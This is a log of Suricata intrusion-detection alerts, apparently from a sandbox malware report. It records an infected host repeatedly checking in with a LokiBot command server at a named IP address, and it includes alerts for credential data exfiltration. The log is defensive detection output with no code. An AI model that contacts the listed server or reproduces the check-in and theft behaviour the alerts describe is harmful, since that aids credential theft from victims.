Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49195 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49192 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49249 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49192 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49192 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49190 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49195 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49190 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49245 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49199 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49245 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49192 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49199 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49245 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49192 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49199 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49177 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49228 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49228 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49228 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49247 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49247 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49247 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49198 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49193 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49224 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49198 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49224 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49177 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49185 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49190
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49245 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49185 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49193 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49177 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49210 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49198 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49184 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49184 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49184 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49245 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49185 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49204 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49193 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49204 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49182 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49231 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49182 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49202 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49176 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024312 - Severity 1 - ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 : 192.168.2.22:49177 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49235 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49247 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49192
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49184 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49231 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49224
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49202 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49185 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49227 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49227 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49210 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49234 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49226 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49186 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49228 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49181 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49234 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49228 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49181 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49176 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49193 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49234 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49189 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49194 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49202 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49191 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49189 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49191 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49189 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49199 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49178 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49207 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49219 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49219 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49231 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49219 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49205
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49185 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49188 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49227 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49210 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49198 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49235 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49231 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49180 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49234 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49234 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49180 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49181 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49176 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49181 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49181 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49193 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49194 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024312 - Severity 1 - ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 : 192.168.2.22:49176 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49234
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49194 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49184 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49178 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49178 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49194 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49194 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49207 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49178 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49178 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49199 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49203 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49235 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49231 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49195 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49180 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49202 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49210 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49210 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49202 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49180 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49249 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49180 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49198 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49249 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49225 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49249
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49193
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49189 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49188 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49194
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49185
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49179 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49178
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49199
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49212 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49212 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49212 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49220 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49212 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49212 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49179 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49179 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49212
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49181
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49219 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49203 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49219 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49203 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49227 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49235 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49227 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49235 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49195 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49204
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49247 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49228
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49201 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49203 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49201 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49225 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49203 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49225 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49195
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49245
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49188 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49191
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49189 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49179 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49186 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49220 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49220 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49188 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49250 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49188 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49220 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49220 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49231
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49201 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49188
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49247
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49196 -> 94.156.177.220:80
